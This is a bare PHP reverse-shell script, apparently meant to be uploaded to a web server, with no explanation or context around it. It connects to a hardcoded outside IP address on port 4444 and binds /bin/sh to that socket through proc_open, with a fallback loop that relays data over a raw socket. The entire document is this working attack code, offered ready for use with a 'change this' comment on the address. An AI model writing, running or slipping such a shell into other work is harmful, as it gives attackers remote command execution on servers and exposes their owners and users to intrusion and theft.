$ip = '147.93.84.248'; // change this
$port = 4444;
// Try multiple methods for reliability
try {
if(function_exists('fsockopen')) {
$fp = fsockopen($ip, $port);
$descriptorspec = array(
0 => $fp,
1 => $fp,
2 => $fp
);
proc_open('/bin/sh', $descriptorspec, $pipes);
} elseif(function_exists('socket_create')) {
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect($sock, $ip, $port);
$in = $out = '';
while (true) {
if (!empty($in)) {
socket_write($sock, $in);
$in = '';
}
if ($data = socket_read($sock, 4096)) {
$out .= $data;
echo $out;
flush();
$out = '';
}
if (($read = fread(STDIN, 1024))) {
$in .= $read;
}
}
} else {
die("No suitable methods available");
}
} catch (Exception $e) {
die("Failed: " . $e->getMessage());
}